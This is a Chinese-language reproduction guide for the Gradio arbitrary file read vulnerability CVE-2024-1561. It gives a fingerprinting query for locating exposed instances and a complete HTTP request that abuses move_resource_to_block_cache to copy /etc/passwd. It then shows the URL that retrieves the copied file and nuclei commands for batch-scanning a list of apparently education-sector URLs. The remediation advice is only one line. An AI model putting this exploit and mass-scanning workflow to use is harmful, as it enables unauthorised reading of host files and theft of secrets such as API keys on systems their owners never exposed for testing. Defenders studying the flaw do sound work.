一、漏洞名称
Gradio任意文件读取(CVE-2024-1561)漏洞
二、漏洞描述
gradio是一个开源的用于构建和共享机器学习应用的项目,gradio的`/component_server`端点不正确地允许使用攻击者控制的参数调用`Component`类的任何方法。具体来说,通过利用`Block`类的`move_resource_to_block_cache()`方法,攻击者可以将文件系统上的任何文件复制到临时目录,然后检索它。
该漏洞允许未经授权的本地文件读取访问,尤其是当应用程序通过`launch(share=True)`暴露到互联网时,从而允许远程攻击者读取主机机器上的文件。此外,托管在`huggingface.co`上的gradio应用也受到影响,可能导致敏感信息,如存储在环境变量中的API密钥和凭据的泄露。
三、测绘语句
body="__gradio_mode__"
四、漏洞复现
1、请求/config文件获取componets的id
http://x.x.x.x/config
2、将/etc/passwd的内容写入到一个临时文件
会返回临时文件路径
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Connection: close
Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip
{"component_id": "5","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
3、访问文件
http://x.x.x.x/file=/tmp/gradio/422ecef943a375e/passwd
复现完成
五、批量检测
nuclei -target http://x.x.x.x/ -t CVE-2024-1561.yaml
nuclei -t CVE-2024-1561.yaml -l url-edu.txt
本文参考:CVE-2024-1561漏洞复现
六、漏洞修复
更新当前系统或软件至最新版,完成漏洞的修复。